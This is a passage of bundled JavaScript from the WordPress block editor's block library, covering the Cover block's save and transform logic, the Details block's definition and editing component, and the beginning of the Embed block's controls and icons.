      ) : /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;div&quot;,
        {
          role: alt ? &quot;img&quot; : void 0,
          &quot;aria-label&quot;: alt ? alt : void 0,
          className: imgClasses,
          style: { backgroundPosition, backgroundImage }
        }
      )),
      isVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;video&quot;,
        {
          className: clsx_default(
            &quot;wp-block-cover__video-background&quot;,
            &quot;intrinsic-ignore&quot;
          ),
          autoPlay: true,
          muted: true,
          loop: true,
          playsInline: true,
          src: url,
          poster,
          style: { objectPosition },
          &quot;data-object-fit&quot;: &quot;cover&quot;,
          &quot;data-object-position&quot;: objectPosition
        }
      ),
      isEmbedVideoBackground &amp;&amp; url &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;figure&quot;,
        {
          className: clsx_default(
            &quot;wp-block-cover__video-background&quot;,
            &quot;wp-block-cover__embed-background&quot;,
            &quot;wp-block-embed&quot;
          ),
          children: /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(&quot;div&quot;, { className: &quot;wp-block-embed__wrapper&quot;, children: url })
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;span&quot;,
        {
          &quot;aria-hidden&quot;: &quot;true&quot;,
          className: clsx_default(
            &quot;wp-block-cover__background&quot;,
            overlayColorClass,
            dimRatioToClass(dimRatio),
            {
              &quot;has-background-dim&quot;: dimRatio !== void 0,
              // For backwards compatibility. Former versions of the Cover Block applied
              // `.wp-block-cover__gradient-background` in the presence of
              // media, a gradient and a dim.
              &quot;wp-block-cover__gradient-background&quot;: url &amp;&amp; gradientValue &amp;&amp; dimRatio !== 0,
              &quot;has-background-gradient&quot;: gradientValue,
              [gradientClass]: gradientClass
            }
          ),
          style: bgStyle
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime226.jsx)(
        &quot;div&quot;,
        {
          ...import_block_editor68.useInnerBlocksProps.save({
            className: &quot;wp-block-cover__inner-container&quot;
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/cover/transforms.mjs
  var import_blocks22 = __toESM(require_blocks(), 1);
  var import_block_editor69 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject: cleanEmptyObject4 } = unlock(import_block_editor69.privateApis);
  var transforms6 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        transform: ({ caption, url, alt, align, id, anchor, style: style2 }) =&gt; (0, import_blocks22.createBlock)(
          &quot;core/cover&quot;,
          {
            dimRatio: 50,
            url,
            alt,
            align,
            id,
            anchor,
            style: {
              color: {
                duotone: style2?.color?.duotone
              }
            }
          },
          [
            (0, import_blocks22.createBlock)(&quot;core/paragraph&quot;, {
              content: caption,
              fontSize: &quot;large&quot;,
              style: {
                typography: {
                  textAlign: &quot;center&quot;
                }
              }
            })
          ]
        )
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        transform: ({ caption, src, align, id, anchor }) =&gt; (0, import_blocks22.createBlock)(
          &quot;core/cover&quot;,
          {
            dimRatio: 50,
            url: src,
            align,
            id,
            backgroundType: VIDEO_BACKGROUND_TYPE,
            anchor
          },
          [
            (0, import_blocks22.createBlock)(&quot;core/paragraph&quot;, {
              content: caption,
              fontSize: &quot;large&quot;,
              style: {
                typography: {
                  textAlign: &quot;center&quot;
                }
              }
            })
          ]
        )
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/group&quot;],
        transform: (attributes2, innerBlocks) =&gt; {
          const { align, anchor, backgroundColor, gradient, style: style2 } = attributes2;
          if (innerBlocks?.length === 1 &amp;&amp; innerBlocks[0]?.name === &quot;core/cover&quot;) {
            return (0, import_blocks22.createBlock)(
              &quot;core/cover&quot;,
              innerBlocks[0].attributes,
              innerBlocks[0].innerBlocks
            );
          }
          const dimRatio = backgroundColor || gradient || style2?.color?.background || style2?.color?.gradient ? void 0 : 50;
          const parentAttributes = {
            align,
            anchor,
            dimRatio,
            overlayColor: backgroundColor,
            customOverlayColor: style2?.color?.background,
            gradient,
            customGradient: style2?.color?.gradient
          };
          const attributesWithoutBackgroundColors = {
            ...attributes2,
            backgroundColor: void 0,
            gradient: void 0,
            style: cleanEmptyObject4({
              ...attributes2?.style,
              color: style2?.color ? {
                ...style2?.color,
                background: void 0,
                gradient: void 0
              } : void 0
            })
          };
          return (0, import_blocks22.createBlock)(&quot;core/cover&quot;, parentAttributes, [
            (0, import_blocks22.createBlock)(
              &quot;core/group&quot;,
              attributesWithoutBackgroundColors,
              innerBlocks
            )
          ]);
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/image&quot;],
        isMatch: ({
          backgroundType,
          url,
          overlayColor,
          customOverlayColor,
          gradient,
          customGradient
        }) =&gt; {
          if (url) {
            return backgroundType === IMAGE_BACKGROUND_TYPE;
          }
          return !overlayColor &amp;&amp; !customOverlayColor &amp;&amp; !gradient &amp;&amp; !customGradient;
        },
        transform: ({ title, url, alt, align, id, anchor, style: style2 }) =&gt; (0, import_blocks22.createBlock)(&quot;core/image&quot;, {
          caption: title,
          url,
          alt,
          align,
          id,
          anchor,
          style: {
            color: {
              duotone: style2?.color?.duotone
            }
          }
        })
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/video&quot;],
        isMatch: ({
          backgroundType,
          url,
          overlayColor,
          customOverlayColor,
          gradient,
          customGradient
        }) =&gt; {
          if (url) {
            return backgroundType === VIDEO_BACKGROUND_TYPE;
          }
          return !overlayColor &amp;&amp; !customOverlayColor &amp;&amp; !gradient &amp;&amp; !customGradient;
        },
        transform: ({ title, url, align, id, anchor }) =&gt; (0, import_blocks22.createBlock)(&quot;core/video&quot;, {
          caption: title,
          src: url,
          id,
          align,
          anchor
        })
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/group&quot;],
        isMatch: ({ url, useFeaturedImage }) =&gt; {
          if (url || useFeaturedImage) {
            return false;
          }
          return true;
        },
        transform: (attributes2, innerBlocks) =&gt; {
          const transformedColorAttributes = {
            backgroundColor: attributes2?.overlayColor,
            gradient: attributes2?.gradient,
            style: cleanEmptyObject4({
              ...attributes2?.style,
              color: attributes2?.customOverlayColor || attributes2?.customGradient || attributes2?.style?.color ? {
                background: attributes2?.customOverlayColor,
                gradient: attributes2?.customGradient,
                ...attributes2?.style?.color
              } : void 0
            })
          };
          if (innerBlocks?.length === 1 &amp;&amp; innerBlocks[0]?.name === &quot;core/group&quot;) {
            const groupAttributes = cleanEmptyObject4(
              innerBlocks[0].attributes || {}
            );
            if (groupAttributes?.backgroundColor || groupAttributes?.gradient || groupAttributes?.style?.color?.background || groupAttributes?.style?.color?.gradient) {
              return (0, import_blocks22.createBlock)(
                &quot;core/group&quot;,
                groupAttributes,
                innerBlocks[0]?.innerBlocks
              );
            }
            return (0, import_blocks22.createBlock)(
              &quot;core/group&quot;,
              {
                ...transformedColorAttributes,
                ...groupAttributes,
                style: cleanEmptyObject4({
                  ...groupAttributes?.style,
                  color: transformedColorAttributes?.style?.color || groupAttributes?.style?.color ? {
                    ...transformedColorAttributes?.style?.color,
                    ...groupAttributes?.style?.color
                  } : void 0
                })
              },
              innerBlocks[0]?.innerBlocks
            );
          }
          return (0, import_blocks22.createBlock)(
            &quot;core/group&quot;,
            { ...attributes2, ...transformedColorAttributes },
            innerBlocks
          );
        }
      }
    ]
  };
  var transforms_default6 = transforms6;

  // packages/block-library/build-module/cover/variations.mjs
  var import_i18n53 = __toESM(require_i18n(), 1);
  var variations3 = [
    {
      name: &quot;cover&quot;,
      title: (0, import_i18n53.__)(&quot;Cover&quot;),
      description: (0, import_i18n53.__)(&quot;Add an image or video with a text overlay.&quot;),
      attributes: { layout: { type: &quot;constrained&quot; } },
      isDefault: true,
      icon: cover_default
    }
  ];
  var variations_default3 = variations3;

  // packages/block-library/build-module/cover/index.mjs
  var { fieldsKey: fieldsKey4, formKey: formKey4 } = unlock(import_blocks23.privateApis);
  var { name: name30 } = block_default31;
  var settings30 = {
    icon: cover_default,
    example: {
      attributes: {
        customOverlayColor: &quot;#065174&quot;,
        dimRatio: 40,
        url: &quot;https://s.w.org/images/core/5.3/Windbuchencom.jpg&quot;,
        style: {
          typography: {
            fontSize: 48
          },
          color: {
            text: &quot;white&quot;
          }
        }
      },
      innerBlocks: [
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: `&lt;strong&gt;${(0, import_i18n54.__)(&quot;Snow Patrol&quot;)}&lt;/strong&gt;`,
            style: {
              typography: {
                textAlign: &quot;center&quot;
              }
            }
          }
        }
      ]
    },
    transforms: transforms_default6,
    save: save14,
    edit: edit_default7,
    deprecated: deprecated_default14,
    variations: variations_default3
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings30[fieldsKey4] = [
      {
        id: &quot;background&quot;,
        label: (0, import_i18n54.__)(&quot;Background&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          // TODO - How to support custom gradient?
          // Build it into Media, or use a custom control?
          allowedTypes: [&quot;image&quot;, &quot;video&quot;],
          multiple: false,
          useFeaturedImage: true
        },
        getValue: ({ item }) =&gt; ({
          id: item.id,
          url: item.url,
          alt: item.alt,
          mediaType: item.backgroundType,
          featuredImage: item.useFeaturedImage
        }),
        setValue: ({ value }) =&gt; ({
          id: value.id,
          url: value.url,
          alt: value.alt,
          mediaType: value.backgroundType,
          useFeaturedImage: value.featuredImage
        })
      }
    ];
    settings30[formKey4] = {
      fields: [&quot;background&quot;]
    };
  }
  var init30 = () =&gt; initBlock({ name: name30, metadata: block_default31, settings: settings30 });

  // packages/block-library/build-module/details/index.mjs
  var details_exports = {};
  __export(details_exports, {
    init: () =&gt; init31,
    metadata: () =&gt; block_default32,
    name: () =&gt; name31,
    settings: () =&gt; settings31
  });
  var import_i18n56 = __toESM(require_i18n(), 1);
  var import_blocks25 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/details/block.json
  var block_default32 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/details&quot;,
    title: &quot;Details&quot;,
    category: &quot;text&quot;,
    description: &quot;Hide and show additional content.&quot;,
    keywords: [&quot;summary&quot;, &quot;toggle&quot;, &quot;disclosure&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      showContent: {
        type: &quot;boolean&quot;,
        default: false
      },
      summary: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;summary&quot;,
        role: &quot;content&quot;
      },
      name: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;name&quot;,
        selector: &quot;.wp-block-details&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      __experimentalOnEnter: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        color: true,
        width: true,
        style: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowEditing: false
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: &quot;wp-block-details-editor&quot;,
    style: &quot;wp-block-details&quot;
  };

  // packages/block-library/build-module/details/edit.mjs
  var import_block_editor70 = __toESM(require_block_editor(), 1);
  var import_components35 = __toESM(require_components(), 1);
  var import_i18n55 = __toESM(require_i18n(), 1);
  var import_element25 = __toESM(require_element(), 1);
  var import_data31 = __toESM(require_data(), 1);
  var import_jsx_runtime227 = __toESM(require_jsx_runtime(), 1);
  var { withIgnoreIMEEvents } = unlock(import_components35.privateApis);
  var TEMPLATE5 = [
    [
      &quot;core/paragraph&quot;,
      {
        placeholder: (0, import_i18n55.__)(&quot;Type / to add a hidden block&quot;)
      }
    ]
  ];
  function DetailsEdit({ attributes: attributes2, setAttributes, clientId }) {
    const { name: name123, showContent, summary, allowedBlocks, placeholder: placeholder2 } = attributes2;
    const blockProps = (0, import_block_editor70.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor70.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE5,
      __experimentalCaptureToolbars: true,
      allowedBlocks
    });
    const [isOpen, setIsOpen] = (0, import_element25.useState)(showContent);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const hasSelectedInnerBlock = (0, import_data31.useSelect)(
      (select9) =&gt; select9(import_block_editor70.store).hasSelectedInnerBlock(clientId, true),
      [clientId]
    );
    const handleSummaryKeyDown = (event) =&gt; {
      if (event.key === &quot;Enter&quot; &amp;&amp; !event.shiftKey) {
        setIsOpen((prevIsOpen) =&gt; !prevIsOpen);
        event.preventDefault();
      }
    };
    const handleSummaryKeyUp = (event) =&gt; {
      if (event.key === &quot; &quot;) {
        event.preventDefault();
      }
    };
    return /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(import_jsx_runtime227.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(import_block_editor70.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
        import_components35.__experimentalToolsPanel,
        {
          label: (0, import_i18n55.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              showContent: false
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
            import_components35.__experimentalToolsPanelItem,
            {
              isShownByDefault: true,
              label: (0, import_i18n55.__)(&quot;Open by default&quot;),
              hasValue: () =&gt; showContent,
              onDeselect: () =&gt; {
                setAttributes({
                  showContent: false
                });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
                import_components35.ToggleControl,
                {
                  label: (0, import_i18n55.__)(&quot;Open by default&quot;),
                  checked: showContent,
                  onChange: () =&gt; setAttributes({
                    showContent: !showContent
                  })
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(import_block_editor70.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
        import_components35.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n55.__)(&quot;Name attribute&quot;),
          value: name123 || &quot;&quot;,
          onChange: (newName) =&gt; setAttributes({ name: newName }),
          help: (0, import_i18n55.__)(
            &quot;Enables multiple Details blocks with the same name attribute to be connected, with only one open at a time.&quot;
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime227.jsxs)(
        &quot;details&quot;,
        {
          ...innerBlocksProps,
          open: isOpen || hasSelectedInnerBlock,
          onToggle: (event) =&gt; setIsOpen(event.target.open),
          name: name123 || &quot;&quot;,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
              &quot;summary&quot;,
              {
                onKeyDown: withIgnoreIMEEvents(handleSummaryKeyDown),
                onKeyUp: handleSummaryKeyUp,
                children: /* @__PURE__ */ (0, import_jsx_runtime227.jsx)(
                  import_block_editor70.RichText,
                  {
                    identifier: &quot;summary&quot;,
                    &quot;aria-label&quot;: (0, import_i18n55.__)(
                      &quot;Write summary. Press Enter to expand or collapse the details.&quot;
                    ),
                    placeholder: placeholder2 || (0, import_i18n55.__)(&quot;Write summary\u2026&quot;),
                    withoutInteractiveFormatting: true,
                    value: summary,
                    onChange: (newSummary) =&gt; setAttributes({ summary: newSummary })
                  }
                )
              }
            ),
            innerBlocksProps.children
          ]
        }
      )
    ] });
  }
  var edit_default8 = DetailsEdit;

  // packages/block-library/build-module/details/save.mjs
  var import_block_editor71 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime228 = __toESM(require_jsx_runtime(), 1);
  function save15({ attributes: attributes2 }) {
    const { name: name123, showContent } = attributes2;
    const summary = attributes2.summary ? attributes2.summary : &quot;Details&quot;;
    const blockProps = import_block_editor71.useBlockProps.save();
    return /* @__PURE__ */ (0, import_jsx_runtime228.jsxs)(
      &quot;details&quot;,
      {
        ...blockProps,
        name: name123 || void 0,
        open: showContent,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(&quot;summary&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(import_block_editor71.RichText.Content, { value: summary }) }),
          /* @__PURE__ */ (0, import_jsx_runtime228.jsx)(import_block_editor71.InnerBlocks.Content, {})
        ]
      }
    );
  }

  // packages/block-library/build-module/details/transforms.mjs
  var import_blocks24 = __toESM(require_blocks(), 1);
  var transforms_default7 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;*&quot;],
        isMatch({}, blocks) {
          return !(blocks.length === 1 &amp;&amp; blocks[0].name === &quot;core/details&quot;);
        },
        __experimentalConvert(blocks) {
          return (0, import_blocks24.createBlock)(
            &quot;core/details&quot;,
            {},
            blocks.map((block) =&gt; (0, import_blocks24.cloneBlock)(block))
          );
        }
      }
    ]
  };

  // packages/block-library/build-module/details/index.mjs
  var { fieldsKey: fieldsKey5, formKey: formKey5 } = unlock(import_blocks25.privateApis);
  var { name: name31 } = block_default32;
  var settings31 = {
    icon: details_default,
    example: {
      attributes: {
        summary: (0, import_i18n56.__)(&quot;La Mancha&quot;),
        showContent: true
      },
      innerBlocks: [
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            content: (0, import_i18n56.__)(
              &quot;In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.&quot;
            )
          }
        }
      ]
    },
    __experimentalLabel(attributes2, { context }) {
      const { summary } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasSummary = summary?.trim().length &gt; 0;
      if (context === &quot;list-view&quot; &amp;&amp; (customName || hasSummary)) {
        return customName || summary;
      }
      if (context === &quot;breadcrumb&quot; &amp;&amp; customName) {
        return customName;
      }
      if (context === &quot;accessibility&quot;) {
        return !hasSummary ? (0, import_i18n56.__)(&quot;Details. Empty.&quot;) : (0, import_i18n56.sprintf)(
          /* translators: %s: accessibility text; summary title. */
          (0, import_i18n56.__)(&quot;Details. %s&quot;),
          summary
        );
      }
    },
    save: save15,
    edit: edit_default8,
    transforms: transforms_default7
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings31[fieldsKey5] = [
      {
        id: &quot;summary&quot;,
        label: (0, import_i18n56.__)(&quot;Summary&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings31[formKey5] = {
      fields: [&quot;summary&quot;]
    };
  }
  var init31 = () =&gt; initBlock({ name: name31, metadata: block_default32, settings: settings31 });

  // packages/block-library/build-module/embed/index.mjs
  var embed_exports = {};
  __export(embed_exports, {
    init: () =&gt; init32,
    metadata: () =&gt; block_default7,
    name: () =&gt; name32,
    settings: () =&gt; settings32
  });

  // packages/block-library/build-module/embed/embed-controls.mjs
  var import_i18n57 = __toESM(require_i18n(), 1);
  var import_components36 = __toESM(require_components(), 1);
  var import_block_editor72 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime229 = __toESM(require_jsx_runtime(), 1);
  function getResponsiveHelp(checked) {
    return checked ? (0, import_i18n57.__)(
      &quot;This embed will preserve its aspect ratio when the browser is resized.&quot;
    ) : (0, import_i18n57.__)(
      &quot;This embed may not preserve its aspect ratio when the browser is resized.&quot;
    );
  }
  var EmbedControls = ({
    blockSupportsResponsive,
    showEditButton,
    themeSupportsResponsive,
    allowResponsive,
    toggleResponsive,
    switchBackToURLInput
  }) =&gt; {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime229.jsxs)(import_jsx_runtime229.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_block_editor72.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_components36.ToolbarGroup, { children: showEditButton &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
        import_components36.ToolbarButton,
        {
          className: &quot;components-toolbar__control&quot;,
          label: (0, import_i18n57.__)(&quot;Edit URL&quot;),
          icon: pencil_default,
          onClick: switchBackToURLInput
        }
      ) }) }),
      themeSupportsResponsive &amp;&amp; blockSupportsResponsive &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(import_block_editor72.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
        import_components36.__experimentalToolsPanel,
        {
          label: (0, import_i18n57.__)(&quot;Media settings&quot;),
          resetAll: () =&gt; {
            toggleResponsive(true);
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
            import_components36.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n57.__)(&quot;Media settings&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !allowResponsive,
              onDeselect: () =&gt; {
                toggleResponsive(!allowResponsive);
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime229.jsx)(
                import_components36.ToggleControl,
                {
                  label: (0, import_i18n57.__)(&quot;Resize for smaller devices&quot;),
                  checked: allowResponsive,
                  help: getResponsiveHelp,
                  onChange: toggleResponsive
                }
              )
            }
          )
        }
      ) })
    ] });
  };
  var embed_controls_default = EmbedControls;

  // packages/block-library/build-module/embed/icons.mjs
  var import_components37 = __toESM(require_components(), 1);
  var import_jsx_runtime230 = __toESM(require_jsx_runtime(), 1);
  var embedContentIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, xmlns: &quot;http://www.w3.org/2000/svg&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z&quot; }) });
  var embedAudioIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, xmlns: &quot;http://www.w3.org/2000/svg&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z&quot; }) });
  var embedPhotoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, xmlns: &quot;http://www.w3.org/2000/svg&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z&quot; }) });
  var embedVideoIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, xmlns: &quot;http://www.w3.org/2000/svg&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z&quot; }) });
  var embedTwitterIcon = {
    foreground: &quot;#000000&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z&quot; }) })
  };
  var embedYouTubeIcon = {
    foreground: &quot;#ff0000&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z&quot; }) })
  };
  var embedFacebookIcon = {
    foreground: &quot;#3b5998&quot;,
    src: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z&quot; }) })
  };
  var embedInstagramIcon = /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.SVG, { viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.G, { children: /* @__PURE__ */ (0, import_jsx_runtime230.jsx)(import_components37.Path, { d: &quot;M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z&quot; }) }) });
  var embedWordPressIcon = {
    foreground: &quot;#0073AA&quot;,
